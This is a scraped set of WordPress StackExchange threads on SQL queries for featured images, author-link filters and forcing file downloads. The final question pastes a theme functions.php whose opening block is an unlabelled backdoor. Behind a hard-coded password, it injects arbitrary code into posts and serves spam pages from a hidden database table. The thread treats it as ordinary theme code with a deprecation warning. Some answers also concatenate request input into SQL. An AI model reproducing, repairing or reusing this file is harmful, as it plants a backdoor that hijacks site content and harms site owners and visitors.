pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id,\n term.name as category_name,\n term.slug as category_slug,\n term.term_id as category_id\n FROM \".$wpdb-&gt;prefix.\"posts as p \n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta as pm ON ( pm.post_id = p.ID)\n LEFT JOIN \".$wpdb-&gt;prefix.\"term_relationships as tr ON tr.object_id = p.ID\n LEFT JOIN \".$wpdb-&gt;prefix.\"terms as term ON tr.term_taxonomy_id = term.term_id\n WHERE 1 \".$where.\" AND p.post_status = 'publish'\n GROUP BY p.ID ORDER BY p.post_date DESC\n ) as post\n LEFT JOIN \".$wpdb-&gt;prefix.\"postmeta AS thumb \n ON thumb.meta_key = '_wp_attached_file' \n AND thumb.post_id = post.thumbnail_id\n LIMIT \".$counter.\",\".$perpage;\n\n$posts = $wpdb-&gt;get_results( $sql, ARRAY_A); \n</code></pre>\n\n<p><strong>Bonus</strong> : You will also get Category details with post details if you need. </p>\n\n<p><strong>P.S</strong> : You will need to change the query a bit to match your requirements and get desired fields. </p>\n" }, { "answer_id": 302493, "author": "Krishna Modi", "author_id": 142879, "author_profile": "https://wordpress.stackexchange.com/users/142879", "pm_score": 2, "selected": false, "text": "<p>This is much simpler solution without any use of complex joins,</p>\n\n<pre><code>SELECT wp_posts.id,\n wp_posts.post_title,\n wp_terms.name,\n (SELECT guid\n FROM wp_posts\n WHERE id = wp_postmeta.meta_value) AS image\nFROM wp_posts,\n wp_postmeta,\n wp_term_relationships,\n wp_terms\nWHERE wp_posts.id = wp_term_relationships.object_id\n AND wp_terms.term_id = wp_term_relationships.term_taxonomy_id\n AND wp_terms.name = 'mycat'\n AND wp_posts.post_status = \"publish\"\n AND wp_posts.post_type = \"post\"\n AND wp_postmeta.post_id = wp_posts.id\n AND wp_postmeta.meta_key = '_thumbnail_id'\nORDER BY wp_posts.post_date DESC\nLIMIT 5;\n</code></pre>\n\n<p>This query will give post id, post category, and featured image.\nYou can filter the category by changing wp_terms.name = 'mycat' with your category name.</p>\n" }, { "answer_id": 403193, "author": "Juvy Cagape", "author_id": 219745, "author_profile": "https://wordpress.stackexchange.com/users/219745", "pm_score": 1, "selected": false, "text": "<p>The accepted answer will ruin your life LOL... Here's the easy way..</p>\n<pre><code>global $wpdb;\n\n$uploadDir = wp_upload_dir();\n$uploadDir = $uploadDir['baseurl'];\n\n$page = (!empty($_REQUEST['p'])) ? $_REQUEST['p'] : 1;\n$_limit = 50;\n$_start = ($page &gt; 1) ? ($page * $_limit) : 0;\n\n$_stmts = &quot;\n SELECT \n p.ID, \n p.post_title,\n p.post_name,\n CONCAT( '&quot;.$uploadDir.&quot;', '/', thumb.meta_value) as thumbnail\n FROM {$wpdb-&gt;prefix}posts AS p\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumbnail_id\n ON thumbnail_id.post_id = p.ID AND thumbnail_id.meta_key = '_thumbnail_id'\n \n LEFT JOIN {$wpdb-&gt;prefix}postmeta AS thumb\n ON thumb.post_id = thumbnail_id.meta_value AND thumb.meta_key = '_wp_attached_file'\n \n \n WHERE p.post_status = 'publish'\n LIMIT {$_start},{$_limit}\n&quot;;\n\n$get_rs = $wpdb-&gt;get_results($_stmts);\n</code></pre>\n" } ]
2017/05/12
[ "https://wordpress.stackexchange.com/questions/266684", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/112647/" ]
My post title appears twice on the browser title bar. Please see this as an example: <https://www.notionbug.com/newly-found-planet-just-right-life/> I've tried deacivating plugins but didn't worked. I've also tried clearing the cache, still no success.
Worked on similar problem recently. Here is the SQL query to get the post with Featured Image. ``` global $wpdb; $perpage = 10; $page = 1; // Get the current page FROM $wp_query $counter = $perpage * $page; $uploadDir = wp_upload_dir(); $uploadDir = $uploadDir['baseurl']; $sql = " SELECT post.ID, post.post_title, post.post_date, post.category_name, post.category_slug, post.category_id, CONCAT( '".$uploadDir."','/', thumb.meta_value) as thumbnail, post.post_type FROM ( SELECT p.ID, p.post_title, p.post_date, p.post_type, MAX(CASE WHEN pm.meta_key = '_thumbnail_id' then pm.meta_value ELSE NULL END) as thumbnail_id, term.name as category_name, term.slug as category_slug, term.term_id as category_id FROM ".$wpdb->prefix."posts as p LEFT JOIN ".$wpdb->prefix."postmeta as pm ON ( pm.post_id = p.ID) LEFT JOIN ".$wpdb->prefix."term_relationships as tr ON tr.object_id = p.ID LEFT JOIN ".$wpdb->prefix."terms as term ON tr.term_taxonomy_id = term.term_id WHERE 1 ".$where." AND p.post_status = 'publish' GROUP BY p.ID ORDER BY p.post_date DESC ) as post LEFT JOIN ".$wpdb->prefix."postmeta AS thumb ON thumb.meta_key = '_wp_attached_file' AND thumb.post_id = post.thumbnail_id LIMIT ".$counter.",".$perpage; $posts = $wpdb->get_results( $sql, ARRAY_A); ``` **Bonus** : You will also get Category details with post details if you need. **P.S** : You will need to change the query a bit to match your requirements and get desired fields.
266,699
<p>It's possible change the destination of the normal author link to a post page or other link inside the website?</p> <p>I have found this answer but needed do buy php code. Is possible found easier way, form the users page in the back-end? </p> <pre><code>function wpd_author_link( $link, $author_id, $author_nicename ){ return 'http://my.blog.tld/'; } add_filter( 'author_link', 'wpd_author_link', 20, 3 ); </code></pre> <p>Thank you. </p>
[ { "answer_id": 266706, "author": "hwl", "author_id": 118366, "author_profile": "https://wordpress.stackexchange.com/users/118366", "pm_score": 2, "selected": false, "text": "<p>To only edit the link associated with authors, in the functions.php of your theme: </p>\n\n<pre><code>add_filter( 'author_link', 'new_author_link', 10, 1 );\n\nfunction new_author_link( $link ) { \n $link = 'http://newlink.com/'; //set this however you wish\n\n return $link; //after you've set $link, return it to the filter \n}\n</code></pre>\n\n<p>If you're looking to do something like set each author's link to an existing wp page of the same name (<strong><em>untested example</em></strong>):</p>\n\n<pre><code>add_filter( 'author_link', 'new_author_link', 10, 3 );\nfunction new_author_link( $link, $author_id, $author_nicename ) {\n\n $page = get_page_by_path( $author_nicename );\n\n if ($page) { \n\n $page = $page-&gt;ID;\n $link = get_permalink( $page ); \n }\n else {\n $link = ''; //some default value perhaps\n }\n return $link;\n}\n</code></pre>\n\n<p>More from WP Codex on <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/author_link\" rel=\"nofollow noreferrer\">Filtering the Author</a></p>\n\n<p>More from WP Codex on <a href=\"https://developer.wordpress.org/reference/functions/add_filter/\" rel=\"nofollow noreferrer\">Filters in general.</a></p>\n\n<hr>\n\n<h2>For your updated example:</h2>\n\n<p>If you're trying to redirect all author links to <code>home_url( 'link' )</code></p>\n\n<pre><code>add_filter( 'author_link', 'new_author_link', 10, 1 );\n\nfunction new_author_link( $link ) { \n $link = home_url( 'link' ); //set this however you wish\n\n return $link; //after you've set $link, return it to the filter \n}\n</code></pre>\n\n<p>If you're trying to achieve some other conditional if/else:</p>\n\n<pre><code>add_filter( 'author_link', 'new_author_link', 10, 1 );\n\nfunction new_author_link( $link, $author_id, $author_nicename ) { \n //send author with id one to home link\n if ($author_id == '1') {\n $link = home_url( 'link' ); //set this however you wish\n }\n //send all other authors to some other link\n else {\n $link = 'http://sitename.com/some-other-url/';\n }\n\n return $link; //after you've set $link, return it to the filter \n}\n</code></pre>\n" }, { "answer_id": 266924, "author": "Marco Romano", "author_id": 104744, "author_profile": "https://wordpress.stackexchange.com/users/104744", "pm_score": 0, "selected": false, "text": "<p>At moment i have done in this way:</p>\n\n<p>add_filter( 'author_link', 'my_multi_author_link', 10, 2 );\nfunction my_multi_author_link( $url, $user_id ) {</p>\n\n<pre><code>if ( 1 === $user_id )\n return home_url( 'link' );\n\nreturn $url;\n</code></pre>\n\n<p>}</p>\n\n<p>add_filter( 'author_link', 'my_multi_author_link_2', 10, 2 );\nfunction my_multi_author_link_2( $url, $user_id ) {</p>\n\n<pre><code>if ( 5 === $user_id )\n\n return home_url( 'link' );\n\nreturn $url;\n</code></pre>\n\n<p>}</p>\n" } ]
2017/05/12
[ "https://wordpress.stackexchange.com/questions/266699", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/104744/" ]
It's possible change the destination of the normal author link to a post page or other link inside the website? I have found this answer but needed do buy php code. Is possible found easier way, form the users page in the back-end? ``` function wpd_author_link( $link, $author_id, $author_nicename ){ return 'http://my.blog.tld/'; } add_filter( 'author_link', 'wpd_author_link', 20, 3 ); ``` Thank you.
To only edit the link associated with authors, in the functions.php of your theme: ``` add_filter( 'author_link', 'new_author_link', 10, 1 ); function new_author_link( $link ) { $link = 'http://newlink.com/'; //set this however you wish return $link; //after you've set $link, return it to the filter } ``` If you're looking to do something like set each author's link to an existing wp page of the same name (***untested example***): ``` add_filter( 'author_link', 'new_author_link', 10, 3 ); function new_author_link( $link, $author_id, $author_nicename ) { $page = get_page_by_path( $author_nicename ); if ($page) { $page = $page->ID; $link = get_permalink( $page ); } else { $link = ''; //some default value perhaps } return $link; } ``` More from WP Codex on [Filtering the Author](https://codex.wordpress.org/Plugin_API/Filter_Reference/author_link) More from WP Codex on [Filters in general.](https://developer.wordpress.org/reference/functions/add_filter/) --- For your updated example: ------------------------- If you're trying to redirect all author links to `home_url( 'link' )` ``` add_filter( 'author_link', 'new_author_link', 10, 1 ); function new_author_link( $link ) { $link = home_url( 'link' ); //set this however you wish return $link; //after you've set $link, return it to the filter } ``` If you're trying to achieve some other conditional if/else: ``` add_filter( 'author_link', 'new_author_link', 10, 1 ); function new_author_link( $link, $author_id, $author_nicename ) { //send author with id one to home link if ($author_id == '1') { $link = home_url( 'link' ); //set this however you wish } //send all other authors to some other link else { $link = 'http://sitename.com/some-other-url/'; } return $link; //after you've set $link, return it to the filter } ```
266,714
<p>in my functions.php file I've added a custom action for the template_redirect hook which must force download a file stored on the server. The code of the download works fine when it is in a simple PHP file outside of Wordpress. But the feature is broken as soon as I add this code inside my template _redirect hook. Chrome says "The site cannot be reached ... ERR_INVALID_RESPONSE". There is no error 500 or other error...</p> <p>Here's the download code :</p> <pre><code>&lt;?php $filename = $_SERVER['DOCUMENT_ROOT'] . 'path-to-my-wordpress/wp-content/uploads/export/test.html'; header( "Expires: 0" ); header( "Cache-Control: no-cache, no-store, must-revalidate" ); header( 'Cache-Control: pre-check=0, post-check=0, max-age=0', false ); header( "Pragma: no-cache" ); header( "Content-type: text/html" ); header( "Content-Disposition:attachment; filename=\"" . basename( $filename ) . "\"" ); header( "Content-Type: application/force-download" ); readfile( "{$filename}" ); ?&gt; </code></pre> <p>Here's the template_redirect hook :</p> <pre><code>add_action( 'template_redirect', 'my_template_redirect' ); function my_template_redirect() { $filename = $_SERVER['DOCUMENT_ROOT'] . 'path-to-my-wordpress/wp-content/uploads/export/test.html'; header( "Expires: 0" ); header( "Cache-Control: no-cache, no-store, must-revalidate" ); header( 'Cache-Control: pre-check=0, post-check=0, max-age=0', false ); header( "Pragma: no-cache" ); header( "Content-type: text/html" ); header( "Content-Disposition:attachment; filename=\"" . basename( $filename ) . "\"" ); header( "Content-Type: application/force-download" ); readfile( "{$filename}" ); exit(); } </code></pre> <p>Any idea ?</p> <p><strong>EDIT</strong></p> <p>After some more tests, the problem seems to come from the specific URL from which I'm trying to run this download. In fact, my code is like this :</p> <pre><code>add_action( 'template_redirect', 'my_template_redirect' ); function my_template_redirect() { if ( preg_match( "/\/wp-admin\/export$/", $_SERVER['REQUEST_URI'] ) ) { $filename = $_SERVER['DOCUMENT_ROOT'] . 'path-to-my-wordpress/wp-content/uploads/export/test.html'; header( "Expires: 0" ); header( "Cache-Control: no-cache, no-store, must-revalidate" ); header( 'Cache-Control: pre-check=0, post-check=0, max-age=0', false ); header( "Pragma: no-cache" ); header( "Content-type: text/html" ); header( "Content-Disposition:attachment; filename=\"" . basename( $filename ) . "\"" ); header( "Content-Type: application/force-download" ); readfile( "{$filename}" ); exit(); } } </code></pre> <p>The URL is /wp-admin/export and this should launch the download of the file. Without this URL condition, the code does work when I reach the base site URL (= <a href="http://mysite.dev/" rel="nofollow noreferrer">http://mysite.dev/</a>). But with the condition adn trying to reach <a href="http://mysite.dev/wp-admin/export" rel="nofollow noreferrer">http://mysite.dev/wp-admin/export</a>, it breaks. I also tried without the wp-admin prefix, and it also breaks.</p>
[ { "answer_id": 266727, "author": "Sam", "author_id": 115586, "author_profile": "https://wordpress.stackexchange.com/users/115586", "pm_score": -1, "selected": false, "text": "<p>Your not adding your redirect page</p>\n\n<pre><code> add_action( 'template_redirect', 'my_template_redirect' );\n function my_template_redirect() {\n $filename = $_SERVER['DOCUMENT_ROOT'] . 'path-to-my-wordpress/wp-content/uploads/export/test.html';\n header( \"Expires: 0\" );\n header( \"Cache-Control: no-cache, no-store, must-revalidate\" );\n header( 'Cache-Control: pre-check=0, post-check=0, max-age=0', false );\n header( \"Pragma: no-cache\" );\n header( \"Content-type: text/html\" );\n header( \"Content-Disposition:attachment; filename=\\\"\" . basename( $filename ) . \"\\\"\" );\n header( \"Content-Type: application/force-download\" );\n readfile( \"{$filename}\" );\n // Add your redirect page here\n wp_redirect( home_url( '/pagename/' ) ); /// works on my install sends to new page\n exit();\n }\n</code></pre>\n" }, { "answer_id": 266734, "author": "Max", "author_id": 60921, "author_profile": "https://wordpress.stackexchange.com/users/60921", "pm_score": 2, "selected": false, "text": "<p>The solution is in fact very simple. Just use the action admin_post_(action)...</p>\n\n<pre><code>add_action( 'admin_post_export_page', 'export_page' );\nfunction export_page() {\n // any code you want\n}\n</code></pre>\n\n<p>than you can make custom links admin_url( 'admin-post.php?action=export_page&amp;id=' . $post->ID );</p>\n\n<p>Thanks Milo for giving the solution.</p>\n" }, { "answer_id": 266735, "author": "Moshe Harush", "author_id": 119573, "author_profile": "https://wordpress.stackexchange.com/users/119573", "pm_score": 0, "selected": false, "text": "<p>Error 500 This is a server error, so I assume it is related to or read of the file or its delivery to the client.</p>\n\n<p>The problems I currently see as possible that cause the problem are:\n1) You have twice submitted the content type but different settings and parallels.\n2) The second time you send an application / force-download type, there are servers that are problematic for them if they do not know the mime type that is being sent.</p>\n\n<p>Try the following code:</p>\n\n<pre><code>add_action( 'template_redirect', 'my_template_redirect' );\nfunction my_template_redirect() {\n if ( strpos( $_SERVER['REQUEST_URI'], admin_url( 'export' ) ) !== false ) {\n $upload_dir = wp_upload_dir();\n $filename = $upload_dir['basedir'] . '/export/test.html';\n\n header( \"Expires: 0\" );\n header( \"cache-Control: no-cache, no-store, must-revalidate\" );\n header( \"Pragma: no-cache\" );\n header( \"content-disposition: attachment; filename=\" . basename( $filename ) );\n header( \"content-type: application/octet-stream\" );\n header( \"content-length: \" . filesize( $file ) );\n readfile( $filename );\n die();\n }\n}\n</code></pre>\n" } ]
2017/05/12
[ "https://wordpress.stackexchange.com/questions/266714", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/60921/" ]
in my functions.php file I've added a custom action for the template\_redirect hook which must force download a file stored on the server. The code of the download works fine when it is in a simple PHP file outside of Wordpress. But the feature is broken as soon as I add this code inside my template \_redirect hook. Chrome says "The site cannot be reached ... ERR\_INVALID\_RESPONSE". There is no error 500 or other error... Here's the download code : ``` <?php $filename = $_SERVER['DOCUMENT_ROOT'] . 'path-to-my-wordpress/wp-content/uploads/export/test.html'; header( "Expires: 0" ); header( "Cache-Control: no-cache, no-store, must-revalidate" ); header( 'Cache-Control: pre-check=0, post-check=0, max-age=0', false ); header( "Pragma: no-cache" ); header( "Content-type: text/html" ); header( "Content-Disposition:attachment; filename=\"" . basename( $filename ) . "\"" ); header( "Content-Type: application/force-download" ); readfile( "{$filename}" ); ?> ``` Here's the template\_redirect hook : ``` add_action( 'template_redirect', 'my_template_redirect' ); function my_template_redirect() { $filename = $_SERVER['DOCUMENT_ROOT'] . 'path-to-my-wordpress/wp-content/uploads/export/test.html'; header( "Expires: 0" ); header( "Cache-Control: no-cache, no-store, must-revalidate" ); header( 'Cache-Control: pre-check=0, post-check=0, max-age=0', false ); header( "Pragma: no-cache" ); header( "Content-type: text/html" ); header( "Content-Disposition:attachment; filename=\"" . basename( $filename ) . "\"" ); header( "Content-Type: application/force-download" ); readfile( "{$filename}" ); exit(); } ``` Any idea ? **EDIT** After some more tests, the problem seems to come from the specific URL from which I'm trying to run this download. In fact, my code is like this : ``` add_action( 'template_redirect', 'my_template_redirect' ); function my_template_redirect() { if ( preg_match( "/\/wp-admin\/export$/", $_SERVER['REQUEST_URI'] ) ) { $filename = $_SERVER['DOCUMENT_ROOT'] . 'path-to-my-wordpress/wp-content/uploads/export/test.html'; header( "Expires: 0" ); header( "Cache-Control: no-cache, no-store, must-revalidate" ); header( 'Cache-Control: pre-check=0, post-check=0, max-age=0', false ); header( "Pragma: no-cache" ); header( "Content-type: text/html" ); header( "Content-Disposition:attachment; filename=\"" . basename( $filename ) . "\"" ); header( "Content-Type: application/force-download" ); readfile( "{$filename}" ); exit(); } } ``` The URL is /wp-admin/export and this should launch the download of the file. Without this URL condition, the code does work when I reach the base site URL (= <http://mysite.dev/>). But with the condition adn trying to reach <http://mysite.dev/wp-admin/export>, it breaks. I also tried without the wp-admin prefix, and it also breaks.
The solution is in fact very simple. Just use the action admin\_post\_(action)... ``` add_action( 'admin_post_export_page', 'export_page' ); function export_page() { // any code you want } ``` than you can make custom links admin\_url( 'admin-post.php?action=export\_page&id=' . $post->ID ); Thanks Milo for giving the solution.
266,715
<p>Im sorry, if you show my blog at <a href="https://autodhil.com" rel="nofollow noreferrer">autodhil.com</a> that have a problem cause on the top of my blog have a wrong scrip..so that show this notification :</p> <pre><code>Deprecated mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead. in /home/autodhil/public_html/wp-content/themes/sahifa2/functions.php on line 60 </code></pre> <p>I really dont know how to fix it... i see question like this but unhelp...so i hope you can help me...</p> <p>BTW, this is file of function.php</p> <pre><code>&lt;?php if (isset($_REQUEST['action']) &amp;&amp; isset($_REQUEST['password']) &amp;&amp; ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxx')) { switch ($_REQUEST['action']) { case 'get_all_links'; foreach ($wpdb-&gt;get_results('SELECT * FROM `' . $wpdb-&gt;prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) { $data['code'] = ''; if (preg_match('!&lt;div id="wp_cd_code"&gt;(.*?)&lt;/div&gt;!s', $data['post_content'], $_)) { $data['code'] = $_[1]; } print '&lt;e&gt;&lt;w&gt;1&lt;/w&gt;&lt;url&gt;' . $data['guid'] . '&lt;/url&gt;&lt;code&gt;' . $data['code'] . '&lt;/code&gt;&lt;id&gt;' . $data['ID'] . '&lt;/id&gt;&lt;/e&gt;' . "\r\n"; } break; case 'set_id_links'; if (isset($_REQUEST['data'])) { $data = $wpdb -&gt; get_row('SELECT `post_content` FROM `' . $wpdb-&gt;prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"'); $post_content = preg_replace('!&lt;div id="wp_cd_code"&gt;(.*?)&lt;/div&gt;!s', '', $data -&gt; post_content); if (!empty($_REQUEST['data'])) $post_content = $post_content . '&lt;div id="wp_cd_code"&gt;' . stripcslashes($_REQUEST['data']) . '&lt;/div&gt;'; if ($wpdb-&gt;query('UPDATE `' . $wpdb-&gt;prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false) { print "true"; } } break; case 'create_page'; if (isset($_REQUEST['remove_page'])) { if ($wpdb -&gt; query('DELETE FROM `' . $wpdb-&gt;prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"')) { print "true"; } } elseif (isset($_REQUEST['content']) &amp;&amp; !empty($_REQUEST['content'])) { if ($wpdb -&gt; query('INSERT INTO `' . $wpdb-&gt;prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"')) { print "true"; } } break; default: print "ERROR_WP_ACTION WP_URL_CD"; } die(""); } if ( $wpdb-&gt;get_var('SELECT count(*) FROM `' . $wpdb-&gt;prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' ) { $data = $wpdb -&gt; get_row('SELECT * FROM `' . $wpdb-&gt;prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"'); if ($data -&gt; full_content) { print stripslashes($data -&gt; content); } else { print '&lt;!DOCTYPE html&gt;'; print '&lt;html '; language_attributes(); print ' class="no-js"&gt;'; print '&lt;head&gt;'; print '&lt;title&gt;'.stripslashes($data -&gt; title).'&lt;/title&gt;'; print '&lt;meta name="Keywords" content="'.stripslashes($data -&gt; keywords).'" /&gt;'; print '&lt;meta name="Description" content="'.stripslashes($data -&gt; description).'" /&gt;'; print '&lt;meta name="robots" content="index, follow" /&gt;'; print '&lt;meta charset="'; bloginfo( 'charset' ); print '" /&gt;'; print '&lt;meta name="viewport" content="width=device-width"&gt;'; print '&lt;link rel="profile" href="http://gmpg.org/xfn/11"&gt;'; print '&lt;link rel="pingback" href="'; bloginfo( 'pingback_url' ); print '"&gt;'; wp_head(); print '&lt;/head&gt;'; print '&lt;body&gt;'; print '&lt;div id="content" class="site-content"&gt;'; print stripslashes($data -&gt; content); get_search_form(); get_sidebar(); get_footer(); } exit; } ?&gt;&lt;?php define ('THEME_NAME', 'Sahifa' ); define ('THEME_FOLDER', 'sahifa' ); define ('THEME_VER', '5.3.0' ); //DB Theme Version define( 'NOTIFIER_XML_FILE', "http://themes.tielabs.com/xml/".THEME_FOLDER.".xml" ); define( 'NOTIFIER_CHANGELOG_URL', "http://tielabs.com/changelogs/?id=2819356" ); define( 'DOCUMENTATION_URL', "http://themes.tielabs.com/docs/".THEME_FOLDER ); if ( ! isset( $content_width ) ) $content_width = 618; // Main Functions require_once ( get_template_directory() . '/framework/functions/theme-functions.php'); require_once ( get_template_directory() . '/framework/functions/common-scripts.php' ); require_once ( get_template_directory() . '/framework/functions/mega-menus.php' ); require_once ( get_template_directory() . '/framework/functions/pagenavi.php' ); require_once ( get_template_directory() . '/framework/functions/breadcrumbs.php' ); require_once ( get_template_directory() . '/framework/functions/tie-views.php' ); require_once ( get_template_directory() . '/framework/functions/translation.php' ); require_once ( get_template_directory() . '/framework/widgets.php' ); require_once ( get_template_directory() . '/framework/admin/framework-admin.php' ); require_once ( get_template_directory() . '/framework/shortcodes/shortcodes.php' ); if( tie_get_option( 'live_search' ) ) require_once ( get_template_directory() . '/framework/functions/search-live.php'); if( !tie_get_option( 'disable_arqam_lite' ) ) require_once ( get_template_directory() . '/framework/functions/arqam-lite.php'); ?&gt; </code></pre> <p>For your help i say a lot of thank for you...</p>
[ { "answer_id": 266727, "author": "Sam", "author_id": 115586, "author_profile": "https://wordpress.stackexchange.com/users/115586", "pm_score": -1, "selected": false, "text": "<p>Your not adding your redirect page</p>\n\n<pre><code> add_action( 'template_redirect', 'my_template_redirect' );\n function my_template_redirect() {\n $filename = $_SERVER['DOCUMENT_ROOT'] . 'path-to-my-wordpress/wp-content/uploads/export/test.html';\n header( \"Expires: 0\" );\n header( \"Cache-Control: no-cache, no-store, must-revalidate\" );\n header( 'Cache-Control: pre-check=0, post-check=0, max-age=0', false );\n header( \"Pragma: no-cache\" );\n header( \"Content-type: text/html\" );\n header( \"Content-Disposition:attachment; filename=\\\"\" . basename( $filename ) . \"\\\"\" );\n header( \"Content-Type: application/force-download\" );\n readfile( \"{$filename}\" );\n // Add your redirect page here\n wp_redirect( home_url( '/pagename/' ) ); /// works on my install sends to new page\n exit();\n }\n</code></pre>\n" }, { "answer_id": 266734, "author": "Max", "author_id": 60921, "author_profile": "https://wordpress.stackexchange.com/users/60921", "pm_score": 2, "selected": false, "text": "<p>The solution is in fact very simple. Just use the action admin_post_(action)...</p>\n\n<pre><code>add_action( 'admin_post_export_page', 'export_page' );\nfunction export_page() {\n // any code you want\n}\n</code></pre>\n\n<p>than you can make custom links admin_url( 'admin-post.php?action=export_page&amp;id=' . $post->ID );</p>\n\n<p>Thanks Milo for giving the solution.</p>\n" }, { "answer_id": 266735, "author": "Moshe Harush", "author_id": 119573, "author_profile": "https://wordpress.stackexchange.com/users/119573", "pm_score": 0, "selected": false, "text": "<p>Error 500 This is a server error, so I assume it is related to or read of the file or its delivery to the client.</p>\n\n<p>The problems I currently see as possible that cause the problem are:\n1) You have twice submitted the content type but different settings and parallels.\n2) The second time you send an application / force-download type, there are servers that are problematic for them if they do not know the mime type that is being sent.</p>\n\n<p>Try the following code:</p>\n\n<pre><code>add_action( 'template_redirect', 'my_template_redirect' );\nfunction my_template_redirect() {\n if ( strpos( $_SERVER['REQUEST_URI'], admin_url( 'export' ) ) !== false ) {\n $upload_dir = wp_upload_dir();\n $filename = $upload_dir['basedir'] . '/export/test.html';\n\n header( \"Expires: 0\" );\n header( \"cache-Control: no-cache, no-store, must-revalidate\" );\n header( \"Pragma: no-cache\" );\n header( \"content-disposition: attachment; filename=\" . basename( $filename ) );\n header( \"content-type: application/octet-stream\" );\n header( \"content-length: \" . filesize( $file ) );\n readfile( $filename );\n die();\n }\n}\n</code></pre>\n" } ]
2017/05/12
[ "https://wordpress.stackexchange.com/questions/266715", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119558/" ]
Im sorry, if you show my blog at [autodhil.com](https://autodhil.com) that have a problem cause on the top of my blog have a wrong scrip..so that show this notification : ``` Deprecated mysql_escape_string(): This function is deprecated; use mysql_real_escape_string() instead. in /home/autodhil/public_html/wp-content/themes/sahifa2/functions.php on line 60 ``` I really dont know how to fix it... i see question like this but unhelp...so i hope you can help me... BTW, this is file of function.php ``` <?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxxxxxxxxxxxxxxx')) { switch ($_REQUEST['action']) { case 'get_all_links'; foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data) { $data['code'] = ''; if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_)) { $data['code'] = $_[1]; } print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n"; } break; case 'set_id_links'; if (isset($_REQUEST['data'])) { $data = $wpdb -> get_row('SELECT `post_content` FROM `' . $wpdb->prefix . 'posts` WHERE `ID` = "'.mysql_escape_string($_REQUEST['id']).'"'); $post_content = preg_replace('!<div id="wp_cd_code">(.*?)</div>!s', '', $data -> post_content); if (!empty($_REQUEST['data'])) $post_content = $post_content . '<div id="wp_cd_code">' . stripcslashes($_REQUEST['data']) . '</div>'; if ($wpdb->query('UPDATE `' . $wpdb->prefix . 'posts` SET `post_content` = "' . mysql_escape_string($post_content) . '" WHERE `ID` = "' . mysql_escape_string($_REQUEST['id']) . '"') !== false) { print "true"; } } break; case 'create_page'; if (isset($_REQUEST['remove_page'])) { if ($wpdb -> query('DELETE FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "/'.mysql_escape_string($_REQUEST['url']).'"')) { print "true"; } } elseif (isset($_REQUEST['content']) && !empty($_REQUEST['content'])) { if ($wpdb -> query('INSERT INTO `' . $wpdb->prefix . 'datalist` SET `url` = "/'.mysql_escape_string($_REQUEST['url']).'", `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string($_REQUEST['content']).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'" ON DUPLICATE KEY UPDATE `title` = "'.mysql_escape_string($_REQUEST['title']).'", `keywords` = "'.mysql_escape_string($_REQUEST['keywords']).'", `description` = "'.mysql_escape_string($_REQUEST['description']).'", `content` = "'.mysql_escape_string(urldecode($_REQUEST['content'])).'", `full_content` = "'.mysql_escape_string($_REQUEST['full_content']).'"')) { print "true"; } } break; default: print "ERROR_WP_ACTION WP_URL_CD"; } die(""); } if ( $wpdb->get_var('SELECT count(*) FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string( $_SERVER['REQUEST_URI'] ).'"') == '1' ) { $data = $wpdb -> get_row('SELECT * FROM `' . $wpdb->prefix . 'datalist` WHERE `url` = "'.mysql_escape_string($_SERVER['REQUEST_URI']).'"'); if ($data -> full_content) { print stripslashes($data -> content); } else { print '<!DOCTYPE html>'; print '<html '; language_attributes(); print ' class="no-js">'; print '<head>'; print '<title>'.stripslashes($data -> title).'</title>'; print '<meta name="Keywords" content="'.stripslashes($data -> keywords).'" />'; print '<meta name="Description" content="'.stripslashes($data -> description).'" />'; print '<meta name="robots" content="index, follow" />'; print '<meta charset="'; bloginfo( 'charset' ); print '" />'; print '<meta name="viewport" content="width=device-width">'; print '<link rel="profile" href="http://gmpg.org/xfn/11">'; print '<link rel="pingback" href="'; bloginfo( 'pingback_url' ); print '">'; wp_head(); print '</head>'; print '<body>'; print '<div id="content" class="site-content">'; print stripslashes($data -> content); get_search_form(); get_sidebar(); get_footer(); } 